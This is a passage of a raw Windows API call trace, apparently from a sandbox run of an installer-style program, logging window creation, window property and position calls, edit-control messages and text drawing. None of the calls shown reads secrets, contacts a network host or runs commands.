Msg=0x1, wParam=0x0, lParam=0x18f1d4) returned 0x0 [0261.437] IsIconic (hWnd=0x50050) returned 0 [0261.437] GetWindowRect (in: hWnd=0x50050, lpRect=0x18efd4 | out: lpRect=0x18efd4) returned 1 [0261.437] GetWindowLongA (hWnd=0x50050, nIndex=-16) returned 1174405120 [0261.437] GetWindowLongA (hWnd=0x50050, nIndex=-8) returned 720992 [0261.437] ScreenToClient (in: hWnd=0xb0060, lpPoint=0x18efd4 | out: lpPoint=0x18efd4) returned 1 [0261.437] ScreenToClient (in: hWnd=0xb0060, lpPoint=0x18efdc | out: lpPoint=0x18efdc) returned 1 [0261.437] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x50050, Msg=0x5, wParam=0x0, lParam=0x13901f1) returned 0x0 [0261.437] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x50050, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0261.437] IsIconic (hWnd=0x50050) returned 0 [0261.437] GetWindowRect (in: hWnd=0x50050, lpRect=0x18efd8 | out: lpRect=0x18efd8) returned 1 [0261.438] GetWindowLongA (hWnd=0x50050, nIndex=-16) returned 1174405120 [0261.438] GetWindowLongA (hWnd=0x50050, nIndex=-8) returned 720992 [0261.438] ScreenToClient (in: hWnd=0xb0060, lpPoint=0x18efd8 | out: lpPoint=0x18efd8) returned 1 [0261.438] ScreenToClient (in: hWnd=0xb0060, lpPoint=0x18efe0 | out: lpPoint=0x18efe0) returned 1 [0261.438] GetWindowThreadProcessId (in: hWnd=0x50050, lpdwProcessId=0x18efe4 | out: lpdwProcessId=0x18efe4) returned 0x8cc [0261.438] GetCurrentProcessId () returned 0x8d0 [0261.438] GetPropA (hWnd=0x50050, lpString=0xc167) returned 0x2c83740 [0261.438] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x50050, Msg=0xbe10, wParam=0x500001, lParam=0x50050) returned 0x0 [0261.438] IsIconic (hWnd=0x50050) returned 0 [0261.438] GetWindowRect (in: hWnd=0x50050, lpRect=0x18f5a4 | out: lpRect=0x18f5a4) returned 1 [0261.438] GetWindowLongA (hWnd=0x50050, nIndex=-16) returned 1174405120 [0261.438] GetWindowLongA (hWnd=0x50050, nIndex=-8) returned 720992 [0261.438] ScreenToClient (in: hWnd=0xb0060, lpPoint=0x18f5a4 | out: lpPoint=0x18f5a4) returned 1 [0261.438] ScreenToClient (in: hWnd=0xb0060, lpPoint=0x18f5ac | out: lpPoint=0x18f5ac) returned 1 [0261.438] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x50050, Msg=0x30, wParam=0x640a01f1, lParam=0x1) returned 0x0 [0261.438] SetPropA (hWnd=0x50050, lpString=0xc167, hData=0x2c83740) returned 1 [0261.438] SetPropA (hWnd=0x50050, lpString=0xc168, hData=0x2c83740) returned 1 [0261.438] SetWindowPos (hWnd=0x50050, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0261.438] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x50050, Msg=0x46, wParam=0x0, lParam=0x18f668) returned 0x0 [0261.438] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0261.438] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewNotebookPage", lpWndClass=0x18f684 | out: lpWndClass=0x18f684) returned 0 [0261.438] RegisterClassA (lpWndClass=0x18f61c) returned 0x2cc1da [0261.439] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewNotebookPage", lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x50050, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0xa0168 [0261.439] SetWindowLongA (hWnd=0xa0168, nIndex=-4, dwNewLong=2297696) returned 4274892 [0261.439] GetWindowLongA (hWnd=0xa0168, nIndex=-16) returned 1174405120 [0261.439] GetWindowLongA (hWnd=0xa0168, nIndex=-12) returned 0 [0261.439] SetWindowLongA (hWnd=0xa0168, nIndex=-12, dwNewLong=655720) returned 0 [0261.439] SetPropA (hWnd=0xa0168, lpString=0xc167, hData=0x2c87dd8) returned 1 [0261.439] SetPropA (hWnd=0xa0168, lpString=0xc168, hData=0x2c87dd8) returned 1 [0261.439] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x81, wParam=0x0, lParam=0x18f1dc) returned 0x1 [0261.439] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x83, wParam=0x0, lParam=0x18f1c8) returned 0x0 [0261.439] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x1, wParam=0x0, lParam=0x18f1dc) returned 0x0 [0261.439] IsIconic (hWnd=0xa0168) returned 0 [0261.440] GetWindowRect (in: hWnd=0xa0168, lpRect=0x18efdc | out: lpRect=0x18efdc) returned 1 [0261.440] GetWindowLongA (hWnd=0xa0168, nIndex=-16) returned 1174405120 [0261.440] GetWindowLongA (hWnd=0xa0168, nIndex=-8) returned 327760 [0261.440] ScreenToClient (in: hWnd=0x50050, lpPoint=0x18efdc | out: lpPoint=0x18efdc) returned 1 [0261.440] ScreenToClient (in: hWnd=0x50050, lpPoint=0x18efe4 | out: lpPoint=0x18efe4) returned 1 [0261.440] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0261.440] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0261.440] IsIconic (hWnd=0xa0168) returned 0 [0261.440] GetWindowRect (in: hWnd=0xa0168, lpRect=0x18efe0 | out: lpRect=0x18efe0) returned 1 [0261.440] GetWindowLongA (hWnd=0xa0168, nIndex=-16) returned 1174405120 [0261.440] GetWindowLongA (hWnd=0xa0168, nIndex=-8) returned 327760 [0261.440] ScreenToClient (in: hWnd=0x50050, lpPoint=0x18efe0 | out: lpPoint=0x18efe0) returned 1 [0261.440] ScreenToClient (in: hWnd=0x50050, lpPoint=0x18efe8 | out: lpPoint=0x18efe8) returned 1 [0261.440] GetWindowThreadProcessId (in: hWnd=0xa0168, lpdwProcessId=0x18f004 | out: lpdwProcessId=0x18f004) returned 0x8cc [0261.440] GetCurrentProcessId () returned 0x8d0 [0261.440] GetPropA (hWnd=0xa0168, lpString=0xc167) returned 0x2c87dd8 [0261.440] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0xbe10, wParam=0x1680001, lParam=0xa0168) returned 0x0 [0261.440] IsIconic (hWnd=0xa0168) returned 0 [0261.440] GetWindowRect (in: hWnd=0xa0168, lpRect=0x18f5ac | out: lpRect=0x18f5ac) returned 1 [0261.440] GetWindowLongA (hWnd=0xa0168, nIndex=-16) returned 1174405120 [0261.440] GetWindowLongA (hWnd=0xa0168, nIndex=-8) returned 327760 [0261.440] ScreenToClient (in: hWnd=0x50050, lpPoint=0x18f5ac | out: lpPoint=0x18f5ac) returned 1 [0261.440] ScreenToClient (in: hWnd=0x50050, lpPoint=0x18f5b4 | out: lpPoint=0x18f5b4) returned 1 [0261.440] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x30, wParam=0x640a01f1, lParam=0x1) returned 0x0 [0261.441] SetPropA (hWnd=0xa0168, lpString=0xc167, hData=0x2c87dd8) returned 1 [0261.441] SetPropA (hWnd=0xa0168, lpString=0xc168, hData=0x2c87dd8) returned 1 [0261.441] SetWindowPos (hWnd=0xa0168, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0261.441] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xa0168, Msg=0x46, wParam=0x0, lParam=0x18f670) returned 0x0 [0261.441] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0261.441] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewNotebook", lpWndClass=0x18f68c | out: lpWndClass=0x18f68c) returned 1 [0261.441] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewNotebook", lpWindowName=0x0, dwStyle=0x46000000, X=40, Y=72, nWidth=417, nHeight=237, hWndParent=0xa0168, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x30338 [0261.441] SetWindowLongA (hWnd=0x30338, nIndex=-4, dwNewLong=2297683) returned 4274892 [0261.441] GetWindowLongA (hWnd=0x30338, nIndex=-16) returned 1174405120 [0261.441] GetWindowLongA (hWnd=0x30338, nIndex=-12) returned 0 [0261.441] SetWindowLongA (hWnd=0x30338, nIndex=-12, dwNewLong=197432) returned 0 [0261.441] SetPropA (hWnd=0x30338, lpString=0xc167, hData=0x2c84e5c) returned 1 [0261.441] SetPropA (hWnd=0x30338, lpString=0xc168, hData=0x2c84e5c) returned 1 [0261.441] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x30338, Msg=0x81, wParam=0x0, lParam=0x18f1e4) returned 0x1 [0261.442] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x30338, Msg=0x83, wParam=0x0, lParam=0x18f1d0) returned 0x0 [0261.442] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x30338, Msg=0x1, wParam=0x0, lParam=0x18f1e4) returned 0x0 [0261.442] IsIconic (hWnd=0x30338) returned 0 [0261.442] GetWindowRect (in: hWnd=0x30338, lpRect=0x18efe4 | out: lpRect=0x18efe4) returned 1 [0261.442] GetWindowLongA (hWnd=0x30338, nIndex=-16) returned 1174405120 [0261.442] GetWindowLongA (hWnd=0x30338, nIndex=-8) returned 655720 [0261.442] ScreenToClient (in: hWnd=0xa0168, lpPoint=0x18efe4 | out: lpPoint=0x18efe4) returned 1 [0261.442] ScreenToClient (in: hWnd=0xa0168, lpPoint=0x18efec | out: lpPoint=0x18efec) returned 1 [0261.442] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x30338, Msg=0x5, wParam=0x0, lParam=0xed01a1) returned 0x0 [0261.442] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x30338, Msg=0x3, wParam=0x0, lParam=0x480028) returned 0x0 [0261.442] IsIconic (hWnd=0x30338) returned 0 [0261.442] GetWindowRect (in: hWnd=0x30338, lpRect=0x18efe8 | out: lpRect=0x18efe8) returned 1 [0261.442] GetWindowLongA (hWnd=0x30338, nIndex=-16) returned 1174405120 [0261.442] GetWindowLongA (hWnd=0x30338, nIndex=-8) returned 655720 [0261.442] ScreenToClient (in: hWnd=0xa0168, lpPoint=0x18efe8 | out: lpPoint=0x18efe8) returned 1 [0261.442] ScreenToClient (in: hWnd=0xa0168, lpPoint=0x18eff0 | out: lpPoint=0x18eff0) returned 1 [0261.442] GetWindowThreadProcessId (in: hWnd=0x30338, lpdwProcessId=0x18f00c | out: lpdwProcessId=0x18f00c) returned 0x8cc [0261.442] GetCurrentProcessId () returned 0x8d0 [0261.442] GetPropA (hWnd=0x30338, lpString=0xc167) returned 0x2c84e5c [0261.442] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x30338, Msg=0xbe10, wParam=0x3380001, lParam=0x30338) returned 0x0 [0261.443] IsIconic (hWnd=0x30338) returned 0 [0261.443] GetWindowRect (in: hWnd=0x30338, lpRect=0x18f5b4 | out: lpRect=0x18f5b4) returned 1 [0261.443] GetWindowLongA (hWnd=0x30338, nIndex=-16) returned 1174405120 [0261.443] GetWindowLongA (hWnd=0x30338, nIndex=-8) returned 655720 [0261.443] ScreenToClient (in: hWnd=0xa0168, lpPoint=0x18f5b4 | out: lpPoint=0x18f5b4) returned 1 [0261.443] ScreenToClient (in: hWnd=0xa0168, lpPoint=0x18f5bc | out: lpPoint=0x18f5bc) returned 1 [0261.443] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x30338, Msg=0x30, wParam=0x640a01f1, lParam=0x1) returned 0x0 [0261.443] SetPropA (hWnd=0x30338, lpString=0xc167, hData=0x2c84e5c) returned 1 [0261.443] SetPropA (hWnd=0x30338, lpString=0xc168, hData=0x2c84e5c) returned 1 [0261.443] SetWindowPos (hWnd=0x30338, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0261.443] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x30338, Msg=0x46, wParam=0x0, lParam=0x18f678) returned 0x0 [0261.443] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0261.443] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewNotebookPage", lpWndClass=0x18f694 | out: lpWndClass=0x18f694) returned 1 [0261.443] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewNotebookPage", lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x30338, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x8024e [0261.443] SetWindowLongA (hWnd=0x8024e, nIndex=-4, dwNewLong=2297098) returned 4274892 [0261.443] GetWindowLongA (hWnd=0x8024e, nIndex=-16) returned 1174405120 [0261.443] GetWindowLongA (hWnd=0x8024e, nIndex=-12) returned 0 [0261.443] SetWindowLongA (hWnd=0x8024e, nIndex=-12, dwNewLong=524878) returned 0 [0261.443] SetPropA (hWnd=0x8024e, lpString=0xc167, hData=0x2c8aa54) returned 1 [0261.443] SetPropA (hWnd=0x8024e, lpString=0xc168, hData=0x2c8aa54) returned 1 [0261.443] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0x81, wParam=0x0, lParam=0x18f1ec) returned 0x1 [0261.444] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0x83, wParam=0x0, lParam=0x18f1d8) returned 0x0 [0261.444] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0x1, wParam=0x0, lParam=0x18f1ec) returned 0x0 [0261.444] IsIconic (hWnd=0x8024e) returned 0 [0261.444] GetWindowRect (in: hWnd=0x8024e, lpRect=0x18efec | out: lpRect=0x18efec) returned 1 [0261.444] GetWindowLongA (hWnd=0x8024e, nIndex=-16) returned 1174405120 [0261.444] GetWindowLongA (hWnd=0x8024e, nIndex=-8) returned 197432 [0261.444] ScreenToClient (in: hWnd=0x30338, lpPoint=0x18efec | out: lpPoint=0x18efec) returned 1 [0261.444] ScreenToClient (in: hWnd=0x30338, lpPoint=0x18eff4 | out: lpPoint=0x18eff4) returned 1 [0261.444] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0261.444] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0261.444] IsIconic (hWnd=0x8024e) returned 0 [0261.444] GetWindowRect (in: hWnd=0x8024e, lpRect=0x18eff0 | out: lpRect=0x18eff0) returned 1 [0261.444] GetWindowLongA (hWnd=0x8024e, nIndex=-16) returned 1174405120 [0261.444] GetWindowLongA (hWnd=0x8024e, nIndex=-8) returned 197432 [0261.444] ScreenToClient (in: hWnd=0x30338, lpPoint=0x18eff0 | out: lpPoint=0x18eff0) returned 1 [0261.444] ScreenToClient (in: hWnd=0x30338, lpPoint=0x18eff8 | out: lpPoint=0x18eff8) returned 1 [0261.444] GetWindowThreadProcessId (in: hWnd=0x8024e, lpdwProcessId=0x18f014 | out: lpdwProcessId=0x18f014) returned 0x8cc [0261.444] GetCurrentProcessId () returned 0x8d0 [0261.444] GetPropA (hWnd=0x8024e, lpString=0xc167) returned 0x2c8aa54 [0261.444] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0xbe10, wParam=0x24e0001, lParam=0x8024e) returned 0x0 [0261.444] IsIconic (hWnd=0x8024e) returned 0 [0261.444] GetWindowRect (in: hWnd=0x8024e, lpRect=0x18f5bc | out: lpRect=0x18f5bc) returned 1 [0261.444] GetWindowLongA (hWnd=0x8024e, nIndex=-16) returned 1174405120 [0261.445] GetWindowLongA (hWnd=0x8024e, nIndex=-8) returned 197432 [0261.445] ScreenToClient (in: hWnd=0x30338, lpPoint=0x18f5bc | out: lpPoint=0x18f5bc) returned 1 [0261.445] ScreenToClient (in: hWnd=0x30338, lpPoint=0x18f5c4 | out: lpPoint=0x18f5c4) returned 1 [0261.445] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0x30, wParam=0x640a01f1, lParam=0x1) returned 0x0 [0261.445] SetPropA (hWnd=0x8024e, lpString=0xc167, hData=0x2c8aa54) returned 1 [0261.445] SetPropA (hWnd=0x8024e, lpString=0xc168, hData=0x2c8aa54) returned 1 [0261.445] SetWindowPos (hWnd=0x8024e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0261.445] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x8024e, Msg=0x46, wParam=0x0, lParam=0x18f680) returned 0x0 [0261.445] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0261.445] GetClassInfoA (in: hInstance=0x400000, lpClassName="EDIT", lpWndClass=0x18f61c | out: lpWndClass=0x18f61c) returned 1 [0261.445] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewMemo", lpWndClass=0x18f684 | out: lpWndClass=0x18f684) returned 0 [0261.446] RegisterClassA (lpWndClass=0x18f61c) returned 0x6ec1db [0261.446] CreateWindowExA (dwExStyle=0x200, lpClassName="TNewMemo", lpWindowName="", dwStyle=0x44010044, X=24, Y=88, nWidth=393, nHeight=145, hWndParent=0x8024e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x7005c [0261.446] SetWindowLongA (hWnd=0x7005c, nIndex=-4, dwNewLong=2297046) returned 4274892 [0261.446] GetWindowLongA (hWnd=0x7005c, nIndex=-16) returned 1140916292 [0261.446] GetWindowLongA (hWnd=0x7005c, nIndex=-12) returned 0 [0261.446] SetWindowLongA (hWnd=0x7005c, nIndex=-12, dwNewLong=458844) returned 0 [0261.446] SetPropA (hWnd=0x7005c, lpString=0xc167, hData=0x2c88d9c) returned 1 [0261.446] SetPropA (hWnd=0x7005c, lpString=0xc168, hData=0x2c88d9c) returned 1 [0261.446] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0x81, wParam=0x0, lParam=0x18f1d8) returned 0x1 [0261.447] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0x83, wParam=0x0, lParam=0x18f1c4) returned 0x0 [0261.447] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0x1, wParam=0x0, lParam=0x18f1d8) returned 0x1 [0261.447] IsIconic (hWnd=0x7005c) returned 0 [0261.447] GetWindowRect (in: hWnd=0x7005c, lpRect=0x18efd8 | out: lpRect=0x18efd8) returned 1 [0261.447] GetWindowLongA (hWnd=0x7005c, nIndex=-16) returned 1140916292 [0261.447] GetWindowLongA (hWnd=0x7005c, nIndex=-8) returned 524878 [0261.447] ScreenToClient (in: hWnd=0x8024e, lpPoint=0x18efd8 | out: lpPoint=0x18efd8) returned 1 [0261.448] ScreenToClient (in: hWnd=0x8024e, lpPoint=0x18efe0 | out: lpPoint=0x18efe0) returned 1 [0261.448] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0x5, wParam=0x0, lParam=0x8d0185) returned 0x1 [0261.448] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0x3, wParam=0x0, lParam=0x5a001a) returned 0x0 [0261.448] IsIconic (hWnd=0x7005c) returned 0 [0261.448] GetWindowRect (in: hWnd=0x7005c, lpRect=0x18efdc | out: lpRect=0x18efdc) returned 1 [0261.448] GetWindowLongA (hWnd=0x7005c, nIndex=-16) returned 1140916292 [0261.448] GetWindowLongA (hWnd=0x7005c, nIndex=-8) returned 524878 [0261.448] ScreenToClient (in: hWnd=0x8024e, lpPoint=0x18efdc | out: lpPoint=0x18efdc) returned 1 [0261.448] ScreenToClient (in: hWnd=0x8024e, lpPoint=0x18efe4 | out: lpPoint=0x18efe4) returned 1 [0261.448] GetWindowThreadProcessId (in: hWnd=0x7005c, lpdwProcessId=0x18f000 | out: lpdwProcessId=0x18f000) returned 0x8cc [0261.448] GetCurrentProcessId () returned 0x8d0 [0261.448] GetPropA (hWnd=0x7005c, lpString=0xc167) returned 0x2c88d9c [0261.448] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xbe10, wParam=0x5c0001, lParam=0x7005c) returned 0x0 [0261.449] SendMessageA (hWnd=0x7005c, Msg=0xc, wParam=0x0, lParam=0x0) returned 0x1 [0261.449] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xc, wParam=0x0, lParam=0x0) returned 0x1 [0261.449] IsIconic (hWnd=0x7005c) returned 0 [0261.449] GetWindowRect (in: hWnd=0x7005c, lpRect=0x18f5ac | out: lpRect=0x18f5ac) returned 1 [0261.449] GetWindowLongA (hWnd=0x7005c, nIndex=-16) returned 1140916292 [0261.449] GetWindowLongA (hWnd=0x7005c, nIndex=-8) returned 524878 [0261.449] ScreenToClient (in: hWnd=0x8024e, lpPoint=0x18f5ac | out: lpPoint=0x18f5ac) returned 1 [0261.449] ScreenToClient (in: hWnd=0x8024e, lpPoint=0x18f5b4 | out: lpPoint=0x18f5b4) returned 1 [0261.449] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0x30, wParam=0x640a01f1, lParam=0x1) returned 0x1 [0261.449] GetWindowLongA (hWnd=0x7005c, nIndex=-16) returned 1140916292 [0261.449] SendMessageA (hWnd=0x7005c, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0261.449] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0261.449] SendMessageA (hWnd=0x7005c, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x1 [0261.449] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x1 [0261.450] SetPropA (hWnd=0x7005c, lpString=0xc167, hData=0x2c88d9c) returned 1 [0261.450] SetPropA (hWnd=0x7005c, lpString=0xc168, hData=0x2c88d9c) returned 1 [0261.450] SetWindowPos (hWnd=0x7005c, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0261.450] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0x46, wParam=0x0, lParam=0x18f688) returned 0x0 [0261.450] SendMessageA (hWnd=0x7005c, Msg=0xba, wParam=0x0, lParam=0x0) returned 0x1 [0261.450] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xba, wParam=0x0, lParam=0x0) returned 0x1 [0261.451] SendMessageA (hWnd=0x7005c, Msg=0xbb, wParam=0x0, lParam=0x0) returned 0x0 [0261.451] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xbb, wParam=0x0, lParam=0x0) returned 0x0 [0261.451] SendMessageA (hWnd=0x7005c, Msg=0xc1, wParam=0x0, lParam=0x0) returned 0x0 [0261.451] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xc1, wParam=0x0, lParam=0x0) returned 0x0 [0261.453] SetWindowTextA (hWnd=0x7005c, lpString="") returned 1 [0261.453] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xc, wParam=0x0, lParam=0x42963c) returned 0x1 [0261.453] SendMessageA (hWnd=0x7005c, Msg=0xba, wParam=0x0, lParam=0x0) returned 0x1 [0261.453] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xba, wParam=0x0, lParam=0x0) returned 0x1 [0261.453] SendMessageA (hWnd=0x7005c, Msg=0xbb, wParam=0x0, lParam=0x0) returned 0x0 [0261.453] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xbb, wParam=0x0, lParam=0x0) returned 0x0 [0261.453] SendMessageA (hWnd=0x7005c, Msg=0xc1, wParam=0x0, lParam=0x0) returned 0x0 [0261.453] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xc1, wParam=0x0, lParam=0x0) returned 0x0 [0261.453] SendMessageA (hWnd=0x7005c, Msg=0xbb, wParam=0x0, lParam=0x0) returned 0x0 [0261.453] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xbb, wParam=0x0, lParam=0x0) returned 0x0 [0261.453] SendMessageA (hWnd=0x7005c, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0261.453] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0261.453] SendMessageA (hWnd=0x7005c, Msg=0xc2, wParam=0x0, lParam=0x2c802fc) returned 0x1 [0261.453] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xc2, wParam=0x0, lParam=0x2c802fc) returned 0x1 [0261.454] GetWindowThreadProcessId (in: hWnd=0x7005c, lpdwProcessId=0x18efbc | out: lpdwProcessId=0x18efbc) returned 0x8cc [0261.454] GetCurrentProcessId () returned 0x8d0 [0261.454] GetPropA (hWnd=0x7005c, lpString=0xc167) returned 0x2c88d9c [0261.454] GetWindowThreadProcessId (in: hWnd=0x7005c, lpdwProcessId=0x18efbc | out: lpdwProcessId=0x18efbc) returned 0x8cc [0261.454] GetCurrentProcessId () returned 0x8d0 [0261.454] GetPropA (hWnd=0x7005c, lpString=0xc167) returned 0x2c88d9c [0261.454] SendMessageA (hWnd=0x7005c, Msg=0xcf, wParam=0x1, lParam=0x0) returned 0x1 [0261.454] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xcf, wParam=0x1, lParam=0x0) returned 0x1 [0261.454] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0x7c, wParam=0xfffffff0, lParam=0x18f38c) returned 0x0 [0261.455] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0x7d, wParam=0xfffffff0, lParam=0x18f38c) returned 0x1 [0261.455] GetFocus () returned 0x2024a [0261.455] SendMessageA (hWnd=0x7005c, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x1 [0261.455] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x1 [0261.455] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xf [0261.455] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xd, wParam=0x10, lParam=0x2c8af10) returned 0xf [0261.455] DestroyWindow (hWnd=0x7005c) returned 1 [0261.455] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0261.455] GetWindowThreadProcessId (in: hWnd=0x7005c, lpdwProcessId=0x18f4a0 | out: lpdwProcessId=0x18f4a0) returned 0x8cc [0261.455] GetCurrentProcessId () returned 0x8d0 [0261.455] GetPropA (hWnd=0x7005c, lpString=0xc167) returned 0x2c88d9c [0261.455] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0xbe10, wParam=0x5c0002, lParam=0x7005c) returned 0x0 [0261.455] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0261.455] RemovePropA (hWnd=0x7005c, lpString=0xc167) returned 0x2c88d9c [0261.456] RemovePropA (hWnd=0x7005c, lpString=0xc168) returned 0x2c88d9c [0261.456] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x7005c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0261.456] GetClientRect (in: hWnd=0x8024e, lpRect=0x18f868 | out: lpRect=0x18f868) returned 1 [0261.456] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.456] SelectObject (hdc=0x2a010b57, h=0x640a01f1) returned 0x18a002e [0261.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8038c, cbMultiByte=1, lpWideCharStr=0x2e4d70, cchWideChar=1 | out: lpWideCharStr=" .\x0c") returned 1 [0261.456] DrawTextW (in: hdc=0x2a010b57, lpchText=" .\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" .\x0c", lprc=0x18f77c) returned 13 [0261.456] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.457] GetDC (hWnd=0x0) returned 0x2a010b57 [0261.457] SelectObject (hdc=0x2a010b57, h=0x640a01f1) returned 0x18a002e [0261.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8a10c, cbMultiByte=1, lpWideCharStr=0x2e4c4c, cchWideChar=1 | out: lpWideCharStr=" .\x0c") returned 1 [0261.457] DrawTextW (in: hdc=0x2a010b57, lpchText=" .\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" .\x0c", lprc=0x18f77c) returned 13 [0261.457] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0261.457] 